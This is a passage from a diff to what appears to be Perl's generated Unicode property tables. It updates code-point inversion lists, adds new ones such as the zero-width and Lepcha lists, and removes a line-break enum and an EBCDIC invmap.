+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
 	0xFFE7,
+	0xFFE8,
+	0xFFEF,
 	0xFFF9,
-	0xFFFC,
-	0xFFFD,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
 	0x10100,
 	0x10103,
-	0x101FD,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
 	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
 	0x102E0,
-	0x102E1,
-	0x10376,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
 	0x1037B,
+	0x10380,
+	0x1039E,
 	0x1039F,
-	0x103A0,
-	0x103D0,
-	0x103D1,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
 	0x104A0,
 	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
 	0x10857,
-	0x10858,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
 	0x1091F,
-	0x10920,
-	0x10A01,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
-	0x10A40,
+	0x10A48,
 	0x10A50,
-	0x10A58,
-	0x10AE5,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
 	0x10AE7,
-	0x10AF0,
-	0x10AF6,
+	0x10AEB,
 	0x10AF7,
+	0x10B00,
+	0x10B36,
 	0x10B39,
-	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
 	0x11000,
-	0x11003,
-	0x11038,
-	0x11047,
-	0x11049,
-	0x11066,
+	0x1104E,
+	0x11052,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
-	0x110BB,
-	0x110BE,
 	0x110C2,
+	0x110D0,
+	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
-	0x11140,
 	0x11144,
-	0x11173,
-	0x11174,
-	0x11175,
-	0x11176,
+	0x11150,
+	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
-	0x111C5,
-	0x111C7,
-	0x111C8,
-	0x111C9,
-	0x111CA,
-	0x111CD,
+	0x111CE,
 	0x111D0,
-	0x111DA,
-	0x111DB,
-	0x111DC,
-	0x111DD,
 	0x111E0,
-	0x1122C,
-	0x11238,
-	0x1123A,
-	0x1123B,
-	0x1123D,
-	0x1123E,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
 	0x1123F,
-	0x112A9,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
 	0x112AA,
-	0x112DF,
+	0x112B0,
 	0x112EB,
 	0x112F0,
 	0x112FA,
 	0x11300,
 	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
 	0x1134B,
 	0x1134E,
+	0x11350,
+	0x11351,
 	0x11357,
 	0x11358,
-	0x11362,
+	0x1135D,
 	0x11364,
 	0x11366,
 	0x1136D,
 	0x11370,
 	0x11375,
-	0x11435,
-	0x11447,
-	0x1144B,
-	0x1144F,
-	0x11450,
+	0x11400,
 	0x1145A,
 	0x1145B,
 	0x1145C,
-	0x114B0,
-	0x114C4,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
 	0x114D0,
 	0x114DA,
-	0x115AF,
+	0x11580,
 	0x115B6,
 	0x115B8,
-	0x115C1,
-	0x115C2,
-	0x115C4,
-	0x115C6,
-	0x115C9,
-	0x115D8,
-	0x115DC,
 	0x115DE,
-	0x11630,
-	0x11641,
-	0x11643,
+	0x11600,
+	0x11645,
 	0x11650,
 	0x1165A,
 	0x11660,
 	0x1166D,
-	0x116AB,
+	0x11680,
 	0x116B8,
 	0x116C0,
 	0x116CA,
+	0x11700,
+	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
-	0x1173A,
-	0x1173C,
-	0x1173F,
-	0x118E0,
-	0x118EA,
-	0x11C2F,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C40,
-	0x11C41,
 	0x11C46,
 	0x11C50,
-	0x11C5A,
+	0x11C6D,
 	0x11C70,
-	0x11C71,
-	0x11C72,
+	0x11C90,
 	0x11C92,
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
 	0x12470,
 	0x12475,
-	0x13258,
-	0x1325B,
-	0x1325E,
-	0x13282,
-	0x13283,
-	0x13286,
-	0x13287,
-	0x13288,
-	0x13289,
-	0x1328A,
-	0x13379,
-	0x1337A,
-	0x1337C,
-	0x145CE,
-	0x145CF,
-	0x145D0,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
 	0x16A60,
 	0x16A6A,
 	0x16A6E,
 	0x16A70,
+	0x16AD0,
+	0x16AEE,
 	0x16AF0,
-	0x16AF5,
 	0x16AF6,
-	0x16B30,
-	0x16B37,
-	0x16B3A,
-	0x16B44,
-	0x16B45,
+	0x16B00,
+	0x16B46,
 	0x16B50,
 	0x16B5A,
-	0x16F51,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
+	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
-	0x1BC9D,
-	0x1BC9F,
-	0x1BCA0,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
 	0x1BCA4,
-	0x1D165,
-	0x1D16A,
-	0x1D16D,
-	0x1D183,
-	0x1D185,
-	0x1D18C,
-	0x1D1AA,
-	0x1D1AE,
-	0x1D242,
-	0x1D245,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
 	0x1D7CE,
-	0x1D800,
-	0x1DA00,
-	0x1DA37,
-	0x1DA3B,
-	0x1DA6D,
-	0x1DA75,
-	0x1DA76,
-	0x1DA84,
-	0x1DA85,
-	0x1DA87,
-	0x1DA8B,
+	0x1DA8C,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -73461,123 +289665,85 @@
 	0x1E025,
 	0x1E026,
 	0x1E02B,
-	0x1E8D0,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
 	0x1E8D7,
-	0x1E944,
+	0x1E900,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
 	0x1E95E,
 	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
 	0x1F000,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
-	0x1F130,
-	0x1F16C,
-	0x1F170,
-	0x1F1AD,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F39C,
-	0x1F39E,
-	0x1F3B5,
-	0x1F3B7,
-	0x1F3BC,
-	0x1F3BD,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F4A0,
-	0x1F4A1,
-	0x1F4A2,
-	0x1F4A3,
-	0x1F4A4,
-	0x1F4A5,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F4AF,
-	0x1F4B0,
-	0x1F4B1,
-	0x1F4B3,
-	0x1F500,
-	0x1F507,
-	0x1F517,
-	0x1F525,
-	0x1F532,
-	0x1F54A,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5D4,
-	0x1F5DC,
-	0x1F5F4,
-	0x1F5FA,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F676,
-	0x1F679,
-	0x1F67C,
-	0x1F680,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
 	0x1FFFE,
 	0x20000,
 	0x2FFFE,
@@ -73591,2416 +289757,1455 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+static const UV PL_LB__ZW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x200B,
+	0x200C
+};
 
-#if defined(PERL_IN_REGEXEC_C)
+static const UV PL_LB__ZWJ_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x200D,
+	0x200E
+};
 
-#define LB_ENUM_COUNT 39
+static const UV PL_LEPC_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C50
+};
 
-typedef enum {
-	LB_Alphabetic = 0,
-	LB_Break_After = 1,
-	LB_Break_Before = 2,
-	LB_Break_Both = 3,
-	LB_Break_Symbols = 4,
-	LB_Carriage_Return = 5,
-	LB_Close_Parenthesis = 6,
-	LB_Close_Punctuation = 7,
-	LB_Combining_Mark = 8,
-	LB_Contingent_Break = 9,
-	LB_E_Base = 10,
-	LB_E_Modifier = 11,
-	LB_Exclamation = 12,
-	LB_Glue = 13,
-	LB_H2 = 14,
-	LB_H3 = 15,
-	LB_Hebrew_Letter = 16,
-	LB_Hyphen = 17,
-	LB_Ideographic = 18,
-	LB_Infix_Numeric = 19,
-	LB_Inseparable = 20,
-	LB_JL = 21,
-	LB_JT = 22,
-	LB_JV = 23,
-	LB_Line_Feed = 24,
-	LB_Mandatory_Break = 25,
-	LB_Next_Line = 26,
-	LB_Nonstarter = 27,
-	LB_Numeric = 28,
-	LB_Open_Punctuation = 29,
-	LB_Postfix_Numeric = 30,
-	LB_Prefix_Numeric = 31,
-	LB_Quotation = 32,
-	LB_Regional_Indicator = 33,
-	LB_Space = 34,
-	LB_Word_Joiner = 35,
-	LB_ZWJ = 36,
-	LB_ZWSpace = 37,
-	LB_EDGE = 38
-} LB_enum;
+static const UV PL_LETTERLIKESYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2100,
+	0x2150
+};
 
-static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 037 */
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Mandatory_Break,
-	LB_Carriage_Return,
-	LB_Combining_Mark,
-	LB_Next_Line,
-	LB_Combining_Mark,
-	LB_Line_Feed,
-	LB_Combining_Mark,
-	LB_Space,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Prefix_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Close_Parenthesis,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Hyphen,
-	LB_Break_Symbols,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Parenthesis,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Exclamation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Infix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Exclamation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Postfix_Numeric,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Glue,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Glue,
-	LB_Exclamation,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Break_After,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_JL,
-	LB_JV,
-	LB_JT,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Break_After,
-	LB_Alphabetic,
